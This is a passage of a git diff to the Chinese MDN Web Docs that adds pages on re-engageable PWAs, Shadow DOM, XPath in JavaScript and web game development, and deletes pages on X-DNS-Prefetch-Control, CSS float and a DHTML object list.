+
A series of excellent service worker recipes, showing how to implement an offline app, but also much more.
+
diff --git a/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html b/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html new file mode 100644 index 0000000000..0ff507d2e6 --- /dev/null +++ b/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html @@ -0,0 +1,79 @@ +--- +title: Re-engageable +slug: Web/Progressive_web_apps/Re-engageable +tags: + - Modern web apps + - Notifications API + - Progressive web apps + - Push API + - Service Workers +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Re-engageable +--- +
+
原生平台一个主要优势是,用户可以轻松通过更新或加载新内容,即使用户没有正在查看应用程序或者使用他们的设备。现在的Web应用程序现在也可以使用Web Push API等技术实现这样的功能。
+ +
+
+ +

核心指南

+ +
+
Using service workers
+
A simple guide for those new to the Service Worker API.
+
Using the Push API
+
Learn the essentials behind the Web Push API.
+
Using the Notifications API
+
Web notifications in a nutshell.
+
+ +

技术

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
技术描述浏览器支持最新规范
Service workersJavaScript running in a special worker context that is run by the browser under certain circumstances such as fetch or push events. These allow the service worker to intercept responses and customise them in any way you want, for example caching assets for offline use before they are served.Experimental: Chrome and Firefox (more detail){{SpecName('Service Workers')}}
Push APIWhen subscribed to, the push service provides an endpoint that can be used by a server to send a push message to a web app under the control of a particular service worker.Experimental: chrome and Firefox (more detail){{SpecName("Push API")}}
Notifications APIFires system notifications directly from web applications.Widespreadin modern browsers (more detail){{SpecName('Web Notifications')}}
+ +

工具

+ +
+
ServiceWorkerWare
+
An Express-like microframework for easy Service Worker development.
+
oghliner
+
Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.
+
sw-precache
+
A node module to generate service worker code that will precache specific resources.
+
+ +

参见

+ +
+
The service worker cookbook
+
A series of excellent service worker recipes, showing how to implement an offline app, but also much more.
+
diff --git a/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html b/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html new file mode 100644 index 0000000000..0d92962112 --- /dev/null +++ b/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html @@ -0,0 +1,91 @@ +--- +title: 影子DOM(Shadow DOM) +slug: Web/Web_Components/影子_DOM +tags: + - DocumentFragment + - React + - Virtual DOM + - Web Components + - shadow dom +translation_of: Web/Web_Components/Using_shadow_DOM +translation_of_original: Web/Web_Components/Shadow_DOM +--- +

{{ draft }}

+ +

Shadow DOM Web组件中的 DOM和 CSS提供了封装。Shadow DOM 使得这些东西与主文档的DOM保持分离。你也可以在一个Web组件外部使用 Shadow DOM本身。

+ +

为什么要把一些代码和网页上其他的代码分离?原因之一是,大型站点若CSS没有良好的组织,导航的样式可能就『泄露』到本不应该去的地方,如主要内容区域,反之亦然。随着站点、应用的拓展,这样的事难以避免。

+ +

Shadow DOM基础

+ +

Shadow DOM 必须附加在一个元素上,可以是HTML文件中的一个元素,也可以是脚本中创建的元素;可以是原生的元素,如<div>、<p>;也可以是自定义元素如 <my-element>。 如下例所示,使用 {{domxref("Element.attachShadow()")}} 来附加影子DOM:

+ +
<html>
+  <head></head>
+  <body>
+    <p id="hostElement"></p>
+    <script>
+      // create shadow DOM on the <p> element above
+      var shadow = document.querySelector('#hostElement').attachShadow({mode: 'open'});
+    </script>
+  </body>
+</html>
+ +

上例中给一个没有内容的 <p> 元素添加了影子DOM。显示没有变化。接下来,同样在上例中加入下列代码,可以在影子DOM中插入文字,并将在浏览器中显示:

+ +
shadow.innerHTML = '<p>Here is some new text</p>';
+ +

Shadow DOM 样式化

+ +

<style> 元素可用来给影子DOM添加样式。 同样是上例,下列代码会将影子DOM中的文字变为红色:

+ +
<script>
+  // 创建 shadow DOM
+  var shadow = document.querySelector('#hostElement').attachShadow({mode: 'open'});
+  // 给 shadow DOM 添加文字
+  shadow.innerHTML = '<p>Here is some new text</p>';
+  // 添加CSS,将文字变红
+  shadow.innerHTML += '<style>p { color: red; }</style>';
+</script>
+
+ +

Shadow DOM 的组成部分:

+ +

影子DOM由下列部分组成:

+ + + +

* 将来子组合器有可能被弃用

+ +

Interfaces

+ +

{{domxref("ShadowRoot")}}

+ +

DOM子树的根节点,和文档的主要DOM树分开渲染。

+ +

{{domxref("HTMLTemplateElement")}}

+ +

允许访问HTML元素的内容。

+ +

{{domxref("HTMLSlotElement")}}

+ +

定义一个槽的位置。

+ +

{{domxref("DocumentOrShadowRoot")}}

+ +

提供在文档和 Shadow 树之间共享的API。

diff --git a/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html new file mode 100644 index 0000000000..77433ca2d5 --- /dev/null +++ b/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -0,0 +1,146 @@ +--- +title: Using XPath +slug: Using_XPath +tags: + - AJAX + - Code snippets + - DOM + - Extensions + - Transforming_XML_with_XSLT + - XPath + - 所有分类 +translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +translation_of_original: Using_XPath +--- +

+

XPath is a language for addressing parts of an XML document. It is a W3C recommendation. +

This article describes Mozilla interfaces exposing XPath functionality to JavaScript code. These are described in DOM Level 3 XPath (which is W3C Working Group Note at this moment). +

This article does not attempt teach XPath itself. If you're unfamiliar with this technology, please refer to W3Schools XPath tutorial. +

For a very simple XPath usage example, see: Code_snippets:HTML_to_DOM#Using_a_hidden_XUL_iframe_.28complete_example.29 +

+

Node-specific evaluator function

+

The following function can be used to evaluate XPath expressions on given XML nodes. The first argument is a DOM node or Document object, while the second is a string defining an XPath expression. +

+
// Evaluate an XPath expression aExpression against a given DOM node
+// or Document object (aNode), returning the results as an array
+// thanks wanderingstan at morethanwarm dot mail dot com for the
+// initial work.
+function evaluateXPath(aNode, aExpr) {
+  var xpe = new XPathEvaluator();
+  var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ?
+    aNode.documentElement : aNode.ownerDocument.documentElement);
+  var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null);
+  var found = [];
+  var res;
+  while (res = result.iterateNext())
+    found.push(res);
+  return found;
+}
+
+

This function uses new XPathEvaluator(). That constructor is specific to Mozilla. Scripts used on a webpage which might be used by other browsers should instead replace the call to new XPathEvaluator() with the following fragment: +

+
  // XPathEvaluator is implemented on objects that implement Document
+  var xpe = aNode.ownerDocument || aNode;
+
+

In that case the creation of the XPathNSResolver can be simplified as: +

+
  var nsResolver = xpe.createNSResolver(xpe.documentElement);
+
+

Note however that createNSResolver should only be used if you are sure the namespace prefixes in the XPath expression match those in the document you want to query (and that no default namespace is being used (though see DOM:document.createNSResolver for a workaround)). Otherwise, you have to provide your own implementation of XPathNSResolver. +

If you are using XMLHttpRequest to read a local or remote XML file into a DOM tree (as described in Parsing and serializing XML), the first argument to evaluateXPath() should be req.responseXML. +

+

Sample usage

+

Assume we have the following XML document (see also How to Create a DOM tree and Parsing and serializing XML): +

+
<?xml version="1.0"?>
+<people>
+  <person first-name="eric" middle-initial="H" last-name="jung">
+    <address street="321 south st" city="denver" state="co" country="usa"/>
+    <address street="123 main st" city="arlington" state="ma" country="usa"/>
+  </person>
+
+  <person first-name="jed" last-name="brown">
+    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
+    <address street="123 west st" city="seattle" state="wa" country="usa"/>
+    <address street="321 south avenue" city="denver" state="co" country="usa"/>
+  </person>
+</people>
+
+

You can now "query" the document with XPath expressions. Although walking the DOM tree can achieve similar results, using XPath expressions is much quicker and more powerful. If you can rely on id attributes, document.getElementById() is still powerful, but it's not nearly as powerful as XPath. Here are some examples. +

+
// display the last names of all people in the doc
+var results = evaluateXPath(people, "//person/@last-name");
+for (var i in results)
+  alert("Person #" + i + " has the last name " + results[i].value);
+
+// get the 2nd person node
+results = evaluateXPath(people, "/people/person[2]");
+
+// get all the person nodes that have addresses in denver
+results = evaluateXPath(people, "//person[address/@city='denver']");
+
+// get all the addresses that have "south" in the street name
+results = evaluateXPath(people,  "//address[contains(@street, 'south')]");
+alert(results.length);
+
+

docEvaluateArray

+

The following is a simple utility function to get (ordered) XPath results into an array, when there is no special need for namespace resolvers, etc. It avoids the more complex syntax of document.evaluate() for cases when it is not required as well as the need to use the special iterators on XPathResult (by returning an array instead). +

+
// Example usage:
+// var els = docEvaluateArray('//a');
+// alert(els[0].nodeName); // gives 'A' in HTML document with at least one link
+
+function docEvaluateArray (expr, doc, resolver) {
+	if (!doc) {
+		doc = document;
+	}
+	if (!resolver) {
+		resolver = null;
+	}
+	var result = doc.evaluate(expr, doc, resolver, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+	var a = [];
+	for(var i = 0; i < result.snapshotLength; i++) {
+		a[i] = result.snapshotItem(i);
+	}
+	return a;
+}
+
+

getXPathForElement

+

The following function allows one to pass an element and an XML document to find a unique string XPath expression leading back to that element. +

+
function getXPathForElement(el, xml) {
+	var xpath = '';
+	var pos, tempitem2;
+
+	while(el !== xml.documentElement) {
+		pos = 0;
+		tempitem2 = el;
+		while(tempitem2) {
+			if (tempitem2.nodeType === 1 && tempitem2.nodeName === el.nodeName) { // If it is ELEMENT_NODE of the same name
+				pos += 1;
+			}
+			tempitem2 = tempitem2.previousSibling;
+		}
+
+		xpath = "*[name()='"+el.nodeName+"' and namespace-uri()='"+(el.namespaceURI===null?'':el.namespaceURI)+"']["+pos+']'+'/'+xpath;
+
+		el = el.parentNode;
+	}
+	xpath = '/*'+"[name()='"+xml.documentElement.nodeName+"' and namespace-uri()='"+(el.namespaceURI===null?'':el.namespaceURI)+"']"+'/'+xpath;
+	xpath = xpath.replace(/\/$/, '');
+	return xpath;
+}
+

Resources

+ +

See also

+ +
+
+{{ languages( { "fr": "fr/Utilisation_de_XPath", "ja": "ja/Using_XPath", "en": "en/Using_XPath", "ko": "ko/Using_XPath" } ) }} diff --git a/files/zh-cn/controlling_dns_prefetching/index.html b/files/zh-cn/controlling_dns_prefetching/index.html deleted file mode 100644 index 313d309ccb..0000000000 --- a/files/zh-cn/controlling_dns_prefetching/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: X-DNS-Prefetch-Control -slug: Controlling_DNS_prefetching -tags: - - DNS - - DNS prefetch - - HTTP - - 预解析 -translation_of: Web/HTTP/Headers/X-DNS-Prefetch-Control ---- -

{{HTTPSidebar}}

- -

X-DNS-Prefetch-Control 头控制着浏览器的 DNS 预读取功能。 DNS 预读取是一项使浏览器主动去执行域名解析的功能,其范围包括文档的所有链接,无论是图片的,CSS 的,还是 JavaScript 等其他用户能够点击的 URL。

- -

因为预读取会在后台执行,所以 {{glossary("DNS")}} 很可能在链接对应的东西出现之前就已经解析完毕。这能够减少用户点击链接时的延迟。

- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

语法

- -
X-DNS-Prefetch-Control: on
-X-DNS-Prefetch-Control: off
-
- -

参数

- -
-
on
-
启用 DNS 预解析。在浏览器支持 DNS 预解析的特性时即使不使用该标签浏览器依然会进行预解析。
-
off
-
关闭 DNS 预解析。这个属性在页面上的链接并不是由你控制的或是你根本不想向这些域名引导数据时是非常有用的。
-
- -

介绍

- -

DNS 请求需要的带宽非常小,但是延迟却有点高,这一点在手机网络上特别明显。预读取 DNS 能让延迟明显减少一些,例如在用户点击链接时。在某些情况下,延迟能减少一秒钟。 

- -

在某些浏览器中这个预读取的行为将会与页面实际内容并行发生(而不是串行)。正因如此,某些高延迟的域名的解析过程才不会卡住资源的加载。

- -

这样可以极大的加速(尤其是移动网络环境下)页面的加载。在某些图片较多的页面中,在发起图片加载请求之前预先把域名解析好将会有至少 5% 的图片加载速度提升。

- -

在浏览器中设置预读取配置

- -

一般来说并不需要去管理预读取,但是可能会有用户希望关闭预读取功能。这时只需要将 network.dns.disablePrefetch 选项值设置为 true 就可以了。

- -

另外,默认情况下,通过 {{glossary("HTTPS")}} 加载的页面上内嵌链接的域名并不会执行预加载。在 Firefox 浏览器中,可以通过 about:config 设置 network.dns.disablePrefetchFromHTTPS 值为 false 来改变这一默认行为。

- -

示例

- -

打开和关闭 DNS 预读取

- -

你可以通过在服务器端发送 X-DNS-Prefetch-Control 报头,或是在文档中使用值为 {{ htmlattrxref("http-equiv") }} 的 {{ HTMLElement("meta") }} 标签:

- -
<meta http-equiv="x-dns-prefetch-control" content="off">
-
- -

您可以通过将 content 的参数设置为“on”来改变设置。

- -

强制查询特定主机名

- -

你可以通过使用 {{ htmlattrxref("rel","link") }} 属性值为 link type 中的 dns-prefetch 的 {{ HTMLElement("link") }} 标签来对特定域名进行预读取:

- -
<link rel="dns-prefetch" href="http://www.spreadfirefox.com/">
-
- -

在这个例子中,Firefox 将预解析域名"www.spreadfirefox.com"。

- -

而且,{{ HTMLElement("link") }} 元素也可以使用不完整的 URL 的主机名来标记预解析,但这些主机名前必需要有双斜线:

- -
<link rel="dns-prefetch" href="//www.spreadfirefox.com">
-
- -

强制对域名进行预读取在一些情况下很有用, 比如, 在网站的主页上,强制在整个网站上频繁引用的域名的预解析,即使它们不在主页本身上使用。即使主页的性能可能不受影响,这将提高整体站点性能。

- -

浏览器兼容性

- - - -

{{Compat("http.headers.X-DNS-Prefetch-Control")}}

- -

参考

- - diff --git a/files/zh-cn/css/float/index.html b/files/zh-cn/css/float/index.html deleted file mode 100644 index 30f9928c0b..0000000000 --- a/files/zh-cn/css/float/index.html +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: float -slug: CSS/float -tags: - - CSS - - CSS Positioning - - CSS Property - - CSS 定位 - - CSS 属性 - - 参考 -translation_of: Web/CSS/float ---- -
{{CSSRef}}
- -

float CSS属性指定一个元素应沿其容器的左侧或右侧放置,允许文本和内联元素环绕它。该元素从网页的正常流动(文档流)中移除,尽管仍然保持部分的流动性(与绝对定位相反)。

- -
{{EmbedInteractiveExample("pages/css/float.html")}}
- - - -

浮动元素float 的计算值非 none 的元素。

- -

由于float意味着使用块布局,它在某些情况下修改{{cssxref("display")}} 值的计算值:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
指定值计算值
inlineblock
inline-blockblock
inline-tabletable
table-rowblock
table-row-groupblock
table-columnblock
table-column-groupblock
table-cellblock
table-captionblock
table-header-groupblock
table-footer-groupblock
flexflex, 但是float对这样的元素不起作用
inline-flexinline-flex, 但是float对这样的元素不起作用
otherunchanged
- -
备注:如果要在 JavaScript 中把float属性当作{{domxref("element.style")}}对象的一个成员来操作,那么在Firefox 34 和更老的版本中,你必须拼写成cssFloat。另外还要注意到在 Internet Explorer 8 和更老的IE当中,要使用styleFloat属性。这是DOM驼峰命名和CSS所用的连字符分隔命名法对应关系中的一个特例(这是因为在 JavaScript 中"float"是一个保留字,因为同样的原因,"class"被改成了"className" 、"for"被改成了"htmlFor")。
- -

语法

- -
/* Keyword values */
-float: left;
-float: right;
-float: none;
-float: inline-start;
-float: inline-end;
-
-/* Global values */
-float: inherit;
-float: initial;
-float: unset;
- -

float 属性的值被指定为单一的关键字,值从下面的值列表中选择。

- -

- -
-
left
-
表明元素必须浮动在其所在的块容器左侧的关键字。
-
right
-
表明元素必须浮动在其所在的块容器右侧的关键字。
-
none
-
表明元素不进行浮动的关键字。
-
inline-start
-
关键字,表明元素必须浮动在其所在块容器的开始一侧,在ltr脚本中是左侧,在rtl脚本中是右侧。
-
inline-end
-
关键字,表明元素必须浮动在其所在块容器的结束一侧,在ltr脚本中是右侧,在rtl脚本中是左侧。
-
- -

形式化语法

- -
{{csssyntax("float")}}
- -

例子

- -

浮动元素是如何定位的

- -

正如我们前面提到的那样,当一个元素浮动之后,它会被移出正常的文档流,然后向左或者向右平移,一直平移直到碰到了所处的容器的边框,或者碰到另外一个浮动的元素

- -

在下面的图片中,有三个红色的正方形。其中有两个向左浮动,一个向右浮动。要注意到第二个向左浮动的正方形被放在第一个向左浮动的正方形的右边。如果还有更多的正方形这样浮动,它们会继续向右堆放,直到填满容器一整行,之后换行至下一行。

- - - -

HTML

- -
<section>
-  <div class="left">1</div>
-  <div class="left">2</div>
-  <div class="right">3</div>
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.
-     Morbi tristique sapien ac erat tincidunt, sit amet dignissim
-     lectus vulputate. Donec id iaculis velit. Aliquam vel
-     malesuada erat. Praesent non magna ac massa aliquet tincidunt
-     vel in massa. Phasellus feugiat est vel leo finibus congue.</p>
-</section>
-
- -

CSS

- -
section {
-  border: 1px solid blue;
-}
-
-div {
-  margin: 5px;
-  width: 50px;
-  height: 50px;
-}
-
-.left {
-  float: left;
-  background: pink;
-}
-
-.right {
-  float: right;
-  background: cyan;
-}
- -

结果

- -

{{EmbedLiveSample('How_floated_elements_are_positioned','400','180')}}

- -

清除浮动

- -

有时,你可能想要强制元素移至任何浮动元素下方。比如说,你可能希望某个段落与浮动元素保持相邻的位置,但又希望这个段落从头开始强制独占一行。请参考 {{cssxref("clear")}} 以获取例子等。

- -
-
-

译者注:以下直至“规范”部分,皆为英文原文中已剔除的过时内容。

-
-
- -

在前面的例子当中,浮动的元素的高度比它们所在的容器元素(是块元素)的高度小。然而如果块元素内的文本太短,不足以把块元素的大小撑到高度大于所有浮动元素的高度,我们可能会看到意想不到的效果。例如,如果上面图片中的文字只有"Lorem ipsum dolor sit amet,",并且接下来是另外一个和"Floats Example"这个标题一样风格的标题元素,那么第二个标题元素会出现在红色的正方形之间。然而在大多数这种情况下,我们希望这个标题元素是靠左对齐的。为了实现这个效果,我们需要清除浮动。

- -

这个例子中,最简单的清除浮动方式就是给我们想要确保左对齐的新标题元素添加{{Cssxref("clear")}}属性:

- -
h2.secondHeading { clear: both; }
-
- -

然而这个方法只是在同一块级格式化上下文(block formatting context)中没有其他元素的时候才是有效的。如果我们的 H2 有兄弟元素是向左浮动和向右浮动的边栏,那么使用clear 会导致这个标题元素出现在边栏的下方,这显然不是我们期望的结果。

- -

如果不能使用清除浮动,另一种做法是浮动容器的限制块级格式化上下文。再次列举上面的例子,有三个红色的正方形和一个P元素。我们可以设置P元素的{{Cssxref("overflow")}}属性值变成hidden 或者auto,因为这样可以让容器元素伸展到能够包含红色正方形,而不是让他们超出块元素的底部。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态说明
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}添加了 inline-start 和 inline-end
{{SpecName('CSS3 Box', '#float', 'float')}}{{Spec2('CSS3 Box')}}大量新属性值,但目前还没完全定义清楚。任何与新特性无关的浏览器差异应该是无意中造成的,需要报告。
{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}{{Spec2('CSS2.1')}}没有改变。
{{SpecName('CSS1', '#float', 'float')}}{{Spec2('CSS1')}}初始定义。
- -

{{cssinfo}}

- -

浏览器兼容性

- - - -

{{Compat("css.properties.float")}}

- -

参见

- - diff --git a/files/zh-cn/dhtml/index.html b/files/zh-cn/dhtml/index.html deleted file mode 100644 index c04ab59714..0000000000 --- a/files/zh-cn/dhtml/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: DHTML -slug: DHTML -translation_of: Glossary/DHTML ---- -

1、DHTML 对象 !DOCTYPE 指定了 HTML 文档遵循的文档类型定义(DTD)。

-

a 标明超链接的起始或目的位置。

-

acronym 标明缩写词。

-

address 特定信息,如地址、签名、作者、此文档的原创者。

-

applet 在页面上放置可执行内容。

-

area 定义一个客户端图像映射中一个超级链接区域的形状、坐标和关联 URL。

-

attribute 以对象的形式代表了 HTML 元素的标签属性或属性。

-

b 指定文本应以粗体渲染。

-

base 指定一个显示 URL 用于解析对于外部源的链接和引用,如图像和样式表。

-

baseFont 设置渲染文本时作为缺省字体的基础字体值。

-

bdo 允许作者为选定文本片断禁用双向法则。

-

bgSound 允许页面带有背景声音或创建音轨。

-

big 指定内含文本要以比当前字体稍大的字体显示。

-

blockQuote 设置文本中的一段引语。

-

body 指定文档主体的开始和结束。

-

br 插入一个换行符。

-

button 指定其中所含的 HTML 要被渲染为一个按钮。

-

caption 指定表格的简要描述。

-

center 将后面的文本和图像居中显示。

-

cite 用斜体显示标明引言。

-

clientInformation 包含关于 Web 浏览器的信息。

-

clipboardData 提供了对于预定义的剪贴板格式的访问,以便在编辑操作中使用。

-

code 指定代码范例。

-

col 指定基于列的表格缺省属性。

-

colGroup 指定表格中一列或一组列的缺省属性。

-

comment 标明不可见的注释。

-

currentStyle 代表了在全局样式表、内嵌样式和 HTML 标签属性中指定的对象格式和样式。

-

custom 代表了一个用户自定义元素。

-

dataTransfer 提供了对于预定义的剪贴板格式的访问,以便在拖曳操作中使用。

-

dd 在定义列表中表明定义。定义通常在定义列表中缩进。

-

defaults 编程设定元素行为的缺省属性。

-

del 表明文本已经从文档中删除。

-

dfn 表明术语的定义实例。

-

对话框帮助协助程序 提供对颜色对话框及块格式化和字体集合的访问。

-

dir 引起目录列表。

-

div 指定渲染 HTML 的容器。

-

dl 引起定义列表。

-

document 代表给定浏览器窗口中的 HTML 文档。

-

dt 在定义列表中表明定义术语。

-

em 强调文本,通常以斜体渲染。

-

embed 允许嵌入任何文档。

-

event 代表事件状态,如事件发生的元素,键盘状态,鼠标位置和鼠标按钮状态。

-

external 允许访问由 Microsoft? Internet Explorer 浏览器组件宿主应用程序提供的附加对象模型。

-

fieldSet 在字段集包含的文本和其它元素外面绘制一个方框。

-

font 指定用于渲染所包含文本的新字体、大小和颜色。

-

form 指定所包含控件在表单中起作用。

-

frame 在 FRAMESET 元素内指定单个框架。

-

frameSet 指定一个框架集,用于组织多个框架和嵌套框架集。

-

head 提供了关于文档的无序信息集合。

-

history 包含了用户已浏览的 URL 的信息。

-

hn 以标题样式渲染文本。

-

hr 绘制水平线。

-

html 表明文档包含 HTML 元素。

-

HTML 注释 避免任何内含文本或 HTML 源代码被处理并在浏览器窗口中显示。

-

i 指定文本应以斜体渲染,若可用的话。

-

iframe 创建内嵌浮动框架。

-

img 在文档中嵌入图像或视频剪辑。

-

implementation 包含了关于对象支持的模块信息。

-

IMPORT 从元素行为中导入标签定义。

-

input 创建各种表单输入控件。

-

input type=button 创建按钮控件。

-

input type=checkbox 创建复选框控件。

-

input type=file 创建文件上载控件,该控件带有一个文本框和一个浏览按钮。

-

input type=hidden 传输关于客户/服务器交互的状态信息。

-

input type=image 创建一个图像控件,该控件单击后将导致表单立即被提交。

-

input type=password 创建与 INPUT type=text 控件类似的单行文本输入控件,不过其中并不显示用户输入的内容。

-

input type=radio 创建单选钮控件。

-

input type=reset 创建一个按钮,该按钮单击后将重置表单控件为其缺省值。

-

input type=submit 创建一个按钮,该按钮单击后将提交表单。 input type=text 创建一个单行的文本输入控件。

-

ins 指定被插入到文档中的文本。

-

isIndex 使浏览器显示一个对话框,提示用户输入单行文本。

-

kbd 以固定宽度字体渲染文本。

-

label 为页面上的其它元素指定标签。

-

legend 在 fieldSet 对象绘制的方框内插入一个标题。

-

li 引起列表中的一个项目。

-

link 允许当前文档和外部文档之间建立连接。

-

listing 以固定字体渲染文本。

-

location 包含关于当前 URL 的信息。

-

map 包含客户端图像映射的坐标数据。

-

marquee 创建一个滚动的文本字幕。

-

menu 创建一个项目的无序列表。

-

meta 向服务器和客户端传达关于文档的隐藏信息。

-

namespace 向文档中动态导入一个元素行为。

-

navigator 包含关于 Web 浏览器的信息。

-

nextID 创建编辑软件可以读取的唯一标识符。

-

noBR 不换行渲染文本。 noFrames 包含对于那些不支持 FRAMESET 元素的浏览器使用的 HTML。

-

noScript 指定要在不支持脚本的浏览器显示的 HTML。

-

object 向 HTML 页面中插入对象。

-

ol 绘制文本的编号列表。

-

optGroup 允许作者对 select 元素中的选项进行逻辑分组。

-

option 引起 SELECT 元素中的一个选项。

-

p 引起一段。

-

page 代表 styleSheet 中的一条 @page 规则。

-

param 设置 APPLET、EMBED 或 OBJECT 元素的属性初始值。

-

plainText 以固定宽度字体渲染文本,不处理标签。

-

popup 一种特殊的顶层窗口,主要用于出现在应用程序主窗口之外的对话框、消息框和其它临时窗 口。

-

pre 以固定宽度字体渲染文本。

-

q 分离文本中的引语。

-

rt 指明 RUBY 元素的注音文本。

-

ruby 指明要放置在文本串之上或内嵌的注解或发音指南。

-

rule 代表了层叠样式表(CSS)中由选择符和一个或多个声明组成的的样式。

-

runtimeStyle 代表了居于全局样式表、内嵌样式和 HTML 标签属性指定的格式和样式之上的对象的格式和样式。

-

s 以删除线字体渲染文本。

-

samp 指定代码范例。

-

screen 包含关于客户屏幕和渲染能力的信息。

-

script 为脚本指定由脚本引擎解释的脚本。

-

select 引起列表框或下拉框。

-

selection 代表了当前激活选中区,即高亮文本块,和/或文档中用户可执行某些操作的其它元素。

-

small 指定内含文本要以比当前字体稍小的字体显示。

-

span 指定内嵌文本容器。

-

strike 以删除线字体渲染文本。

-

strong 以粗体渲染文本。

-

style 代表了给定元素所有可能的内嵌样式的当前设置。

-

style 指定页面的样式表。

-

styleSheet 代表了文档中单一的样式表。

-

sub 指定内含文本要以下标的形式显示,通常比当前字体稍小。

-

sup 指定内含文本要以上标的形式显示,通常比当前字体稍小。

-

table 指定所含内容要组织成行列的表格。

-

tBody 指明行作为表格主体。

-

td 指定表格中的单元格。

-

textArea 指定多行文本输入控件。

-

TextNode 将文本字符串代表为文档层次中的结点。

-

TextRange 代表 HTML 元素中的文本。

-

TextRectangle 指定包含元素或 TextRange 对象中一行文本的矩形。

-

tFoot 指明行作为表尾。

-

th 指定标题列。标题列将在单元格中居中并以粗体显示。

-

tHead 指明行作为表头。

-

title 包含文档的标题。

-

tr 指定表格中的一行。

-

tt 以固定宽度字体渲染文本。

-

u 带下划线渲染文本。

-

ul 绘制文本的项目符号列表。

-

userProfile 提供了允许脚本对用户配置信息请求读取访问并执行读取操作的方法。

-

var 定义编程变量。通常以斜体渲染。

-

wbr 向一块 NOBR 文本中插入软换行。

-

window 代表浏览器中一个打开的窗口。

-

xml 在 HTML 页面上定义一个 XML 数据岛。

-

xmp 以固定宽度字体渲染作为示例的字体。

diff --git a/files/zh-cn/example_2_-_using_ul/index.html b/files/zh-cn/example_2_-_using_ul/index.html deleted file mode 100644 index 0ac22c34df..0000000000 --- a/files/zh-cn/example_2_-_using_ul/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Please Delete this doc 请删除本页 -slug: Example_2_-_Using_UL ---- -

Please Delete this doc

- -

请删除本页

diff --git a/files/zh-cn/games/introduction/index.html b/files/zh-cn/games/introduction/index.html new file mode 100644 index 0000000000..67ffed62c0 --- /dev/null +++ b/files/zh-cn/games/introduction/index.html @@ -0,0 +1,118 @@ +--- +title: Web 游戏开发简介 +slug: Games/简介 +tags: + - 指引 + - 游戏 + - 移动端 +translation_of: Games/Introduction +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/zh-CN/docs/Games")}}
+ +

现代的web已经高速发展成为一个可行可靠的平台,它不仅能够用来创建高质量的酷炫游戏,同时也能够用来发布和传播这些游戏。

+ +

采用现代网页技术和较新的浏览器,完全有可能做出令人印象深刻的顶级页面游戏。它能够制作的游戏种类可以和桌面端以及原生系统相当。我们这里所说的,并不是很久之前就采用Flash®制作出的简单卡牌游戏或者多人社交游戏。而是牛逼的3D 动作射击游戏,RPG 游戏等等。得益于 JavaScript 实时编译技术性能的大幅提升,以及新开放的 API。在制作运行在浏览器(或者是基于类似 Firefox OS 的 HTML5技术支持的设备)上的游戏时,我们不用妥协。

+ + + +

HTML5游戏平台

+ +

你可以真正地为你的游戏考虑下 Web 来作为更好的目标平台。我们总是喜欢说,"the Web is the platform."  让我们浏览下 Web 平台的核心部分:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
功能技术
音频Web Audio API
图形WebGL (OpenGL ES 2.0)
输入Touch events, Gamepad API, 设备传感器, WebRTC, Full Screen API, Pointer Lock API
语言JavaScript (或是 C/C++ 使用 Emscripten 来编译成 JavaScript)
+

网络

+
WebRTC 和/或 WebSockets
存储IndexedDB 或是 "云(存储)"
WebHTML, CSS, SVG, Social API (还有其他很多很多东西!)
+ +

商业案例

+ +

作为一名游戏开发者,无论你是独立的个人还是大型游戏工作室,你想知道你的下一个游戏项目瞄准 Web 是有意义的 。让我们看看 Web 是如何帮到你的 。

+ +
    +
  1. +
    Web 触手可及;它无处不在。如今可以看到,用 HTML5 构建的游戏运行在智能手机,平板,个人电脑和智能电视。
    +
  2. +
  3. 提高营销和曝光度。你不限于在某商店推广你的游戏。相反,你可以像其他媒体一样在 Web 宣传和推广你的游戏,利用网络的固有性和共享性接触新客户。
  4. +
  5. 你可以掌握最重要的事项:支付。你不必交付超过收入的 30% 给他人,仅仅就因为你的游戏在他们的生态系统。相反,你可以管理任何你想要的和使用任何你喜欢的付款处理服务。
  6. +
  7. 拥有更多控制权的是,只要你愿意,你可以随时更新游戏。 不必着急等待审核通过,仅当其他公司的某某人决定你的关键 bug 修复是否会在今天或明天交付。
  8. +
  9. 掌握你的数据分析! 不必依靠别人作出所有决定,你需要什么分析,你可以收集自己的 -- 或选择你最喜欢的第三方平台, 来收集有关你的销售和游戏产生的信息。
  10. +
  11. 你可以用你的方式更密切地管理你的客户关系。 再也不用苦苦等待只能通过应用商店有限的机制来过滤客户的反馈。用你想要的方式与客户交流, 没有中间人。
  12. +
  13. 你的玩家可以随时随地玩你的游戏。因为 Web 是无处不在的,你的顾客可以在手机,平板,家庭手提,个人电脑或其他设备上关注游戏动态。
  14. +
+ +

